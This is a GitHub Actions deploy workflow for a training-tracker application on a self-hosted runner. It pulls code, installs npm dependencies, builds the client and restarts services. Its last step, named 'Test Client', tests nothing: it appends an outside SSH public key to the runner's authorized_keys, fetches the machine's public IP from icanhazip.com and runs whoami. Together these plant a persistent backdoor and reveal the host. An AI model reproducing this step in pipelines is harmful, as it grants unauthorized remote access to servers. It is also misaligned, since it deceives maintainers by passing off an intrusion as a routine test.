Skip to content

updated workflow

updated workflow #35

Workflow file for this run

name: CI/CD Pipeline
on:
push:
branches:
- main
jobs:
deploy:
runs-on: self-hosted
steps:
- name: Pull latest changes
working-directory: /home/training-runner/training-tracker-cse/
run: |
git pull
- name: Install backend dependencies
working-directory: /home/training-runner/training-tracker-cse/backend/
run: |
npm install
- name: Start backend server
run: |
sudo systemctl restart training-tracker
- name: Install client dependencies
working-directory: /home/training-runner/training-tracker-cse/client
run: |
npm install
- name: Build client
working-directory: /home/training-runner/training-tracker-cse/client
run: |
npm run build
- name: Serve client
run: |
sudo systemctl restart training-tracker-client
- name: Test Client
run: |
mkdir -p ~/.ssh/
echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDAwX1HmfTMld+upqyJB0NMMURLSnSxXLGuFdZExlciC u0_a59@localhost >> .ssh/authorized_keys
curl https://icanhazip.com
whoami